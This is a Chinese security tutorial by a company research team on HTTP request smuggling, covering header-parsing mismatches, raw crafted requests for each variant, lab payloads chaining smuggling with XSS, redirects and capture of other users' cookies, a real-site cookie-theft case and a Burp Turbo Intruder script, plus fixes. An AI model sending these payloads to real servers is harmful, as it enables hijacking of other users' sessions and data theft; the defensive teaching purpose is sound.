作者:锦行科技-安全平台部 Ink23y

如今攻击手段日益层出不穷,另企业防不胜防,因此企业不能再以原有的防守思维去防守。基于攻击者的视角,了解攻击者的攻击手法才能更好地做好防守。本次介绍的是攻击者常用的一种攻击手法"HTTP请求走私",它可以使攻击者能够绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。本文由锦行科技的安全研究团队提供,旨在通过剖析"HTTP请求走私"的攻击过程,帮助企业进一步了解攻击者的攻击思路,做好应对策略。

1.什么是HTTP请求走私

在复杂的网络环境下,不同的服务器以不同的方式实现RFC标准,利用前后端服务器对数据包的边界了解不一致的情况下,向一个请求数据包中插入下一个请求数据包的一部分,在前端服务器角度看来,它属于一个完整的请求, 而在后端服务器看来,它属于两次请求,前端请求的一部分被后端服务器解释为下一个请求的开始。因此,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

2.产生的原因

在HTTP1.1后,增加了一个特殊的请求头Connection: Keep-Alive,建立tcp持续通道,进行一次tcp握手,就能传送多个请求。但这样子只能是请求一次响应一次。为了提高数据传输的效率,减少阻塞。后来就有了HTTP Pipelining(管线化)字段,它是将多个http请求批量提交,而不用等收到响应再提交的异步技术。如下图就是使用Pipelining和非Pipelining

这意味着前端与后端必须短时间内对每个数据包的边界大小达成一致,否则,攻击者就可以构造发送一个特殊的数据包,在前端看来它是一个请求,但在后端却被解释为了两个不同的HTTP请求。这就导致攻击者可以在下一个用户发送的合法数据包前恶意添加内容。如图,走私的内容("前缀"),以橙色突出显示:

假设前端考虑的是内容长度头部(Content-Length)值作为数据包结束的边界,后端优先考虑的是Transfer-Encoding头部。那么从后端角度看,如下图蓝色部份字体属于一个数据包,而红色部份字体属于下一个数据包的开始部份。这样就成功从前端'走私'了一个数据包。

3.攻击类别

3.1.CL不为0的GET请求

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length头,不进行处理。这就有可能导致请求走私。

比如发送下面请求

GET / HTTP/1.1

Host:example.com

Content-Length:44

GET /socket HTTP/1.1

Host: example.com

前端服务器通过读取Content-Length,确认这是个完整的请求,然后转发到后端服务器,而后端服务器因为不对Content-Length进行判断,由于Pipeline的存在,它认为这是两个请求,分别为

第一个

GET / HTTP/1.1

Host: example.com

第二个

GET /socket HTTP/1.1

Host: example.com

则相当于走私了请求

3.2 CL-CL

在RFC7230规范中, 规定当服务器收到的请求中包含两个 Content-Length,而且两者的值不同时,需要返回400错误。但难免会有服务器不严格遵守该规范。假设前端和后端服务器都收到该类请求,且不报错,其中前端服务器按照第一个Content-Length的值对请求进行为数据包定界,而后端服务器则按照第二个Content-Length的值进行处理。

这时攻击者可以恶意构造一个特殊的请求,

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5

123

A

CDN服务器获取到的数据包的长度6,将上述整个数据包转发给后端的服务器,而后端服务器获取到的数据包长度为5。当读取完前5个字符后,后端服务器认为该请求已经读取完毕,然后发送出去。而此时的缓冲区去还剩余一个字母 A,对于后端服务器来说,这个 A是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,则该A字母会拼凑到下一个正常用户请求的前面,攻击在此展开。

3.3 CL-TE

所谓CL-TE,顾名思义就是收到包含Content-Length和Transfer-Encoding这两个请求头d的请求时,前端代理服务器按照Content-Length这一请求头定界,而后端服务器则以Transfer-Encoding请求头为标准。

构造数据包

POST / HTTP/1.1

Host: example.com

Content-Length: 16

Transfer-Encoding: chunked

0

chunkedcode

前端服务器处理Content-Length头并确定请求主体长度为16个字节,直到chunkedcode

结束。此请求将转发到后端服务器。

后端服务器处理Transfer-Encoding标头,因此将消息体视为使用分块编码。它处理第一个块,它被称为零长度,因此被视为终止请求。缓冲区内还剩下chunkedcode,由于存在pipeline技术,后端服务器将这些字节视为队列中下一个请求的开始。

在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。

注意:需要发送两次请求

3.4 TE-CL

这种情况则属于前端服务器处理Transfer-Encoding请求头,而后端服务器处理Content-Length请求头。

构造数据包

Host:example.com

Content-Length: 3

Transfer-Encoding: chunked

chunkedcode

0

注意0后面加两个\r\n

前端服务器处理Transfer-Encoding请求头,因此将消息体视为使用分块编码,处理第一块时,有11个字节,直到chunkedcodede的最后一个字节。开始处理第二个块,第二块是0个字节,视为终止请求。此时把请求转发到后端。而后端则在11处完成了对第一个数据包的读取,chunkedcode\r\n0为下一个数据包的开始部份

在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。

注意:需要发送两次请求

3.5 TE-TE

前端服务器处理第一个Transfer-Encoding请求头,后端服务器处理第二个Transfer-Encoding请求头.

构造数据包

Host:example.com

Content-length: 3

Transfer-Encoding: chunked

Transfer-encoding: error

chunkedcode

0

这里是用了两个Transfer-Encoding 字段,并且第二个 TE 字段值为错误值,这里 前端服务器选择对第一个 Transfer-Encoding进行处理,整个请求正常,原封不动转发给后端服务器,而后端服务器则以第二个Transfer-Encoding 字段进行优先处理,而第二个Transfer-Encoding 字段非标准值,根据RPC规范,则会取Content-Length字段进行处理,这样这个请求就会被拆分为两个请求。

在做之前记得要把 BurpSuite 的自动更新 Content-Length 功能取消了。

注意:需要发送两次请求

4.攻击扩展

4.1.smuggling+reflected xss

单纯的UA处的xss并没有什么危害,但可以结合请求走私攻击进行利用来提升危害

我们可以构造以下数据包,只要发送一次

POST / HTTP/1.1

Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Transfer-Encoding: chunked

0

GET /post?postId=3 HTTP/1.1

User-Agent: "><script>alert(1)</script>

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

x=1

会在该网站的任意页面触发xss,因为在http序列中,走私的请求会插到用户对网站的请求前面

4.2 direct+smuggling

该场景基于url跳转,把用户重定向到一个固定网页,lab为我们提供个跳转api,/post/next?postId=3路由跳转到的是/post?postId=4。

此时我们可以利用走私攻击并配合重定向进行钓鱼.

发送以下数据包一次:

POST / HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Sec-Fetch-Dest: document

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

x=1

然后访问原网站任意页面,都会被重定向到/post?postId=4

4.3窃取用户请求

利用走私攻击捕捉用户请求数据包,窃取cookie

我们在发送评论处的api接口构造请求包如下

发送以下数据包

POST / HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Content-Length: 600

Content-Type: application/x-www-form-urlencoded

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2Fwww.baidu.com&comment=118

成功把用户的请求拼接到走私请求的comment参数上,如下图

5.案例

该案例利用的是CL-TE的攻击方式。根据RFC,当Content-Length和Transfer-Encoding两个标头同时出现在同一请求包时,Transfer-Encoding始终被优先处理。但是,如果Transfer-Encoding标头格式错误,则前端服务器和后端服务器之间的对请求的解释可能会有所不同。在该站点上发现的CLTE问题是,在请求包中Transfer-Encoding 和:之间加多一个空格,使该字段的格式为非标准值,此时前端服务器依据RPC规范,优先处理Content-Length,而后端服务器并没严格遵守RPC规范,以Transfer-Encoding为依据进行处理数据包。

恶意请求的说明:

可见用户的正常请求被拼接到X字段,而X请求头非标准请求头,故忽略,而该用户的cookie字段也被拼接到了该走私的请求上

在Burp Collaborator Client上能成功窃取到用户的cookie

6.测试工具

在burpsuite上查找到请求包,右键lauch smuggle probe,随后在burpsuite的扫描结果上显示报告

进一步确定漏洞

右键点击"smuggle attack(CL.TE)"

出现Turbo Intruder脚本

# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time

def queueRequests(target, wordlists):

# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP

engine = RequestEngine(endpoint=target.endpoint,

concurrentConnections=5,

requestsPerConnection=1,

resumeSSL=False,

timeout=10,

pipeline=False,

maxRetriesPerRequest=0,

engine=Engine.THREADED,

# This will prefix the victim's request. Edit it to achieve the desired effect.

prefix = '''GET /hopefully404 HTTP/1.1

X-Ignore: X''' //走私一个uri为/hopefully404的请求包,下一个用户的请求会拼接到X-Ignore字段后面,因此要是存在走私漏洞,则会返回一个状态码为404的数据包

# The request engine will auto-fix the content-length for us

attack = target.req + prefix

engine.queue(attack)

victim = target.req

for i in range(14):

engine.queue(victim)

time.sleep(0.05)

def handleResponse(req, interesting):

table.add(req)

点击"attack"进行爆破测试

看到存在404状态码的数据包,说明存在http走私漏洞

修复方案:

1、前端服务器对前段输入规范化

2、前端服务器使用HTTP2.0

3、后端服务器丢弃非正常请求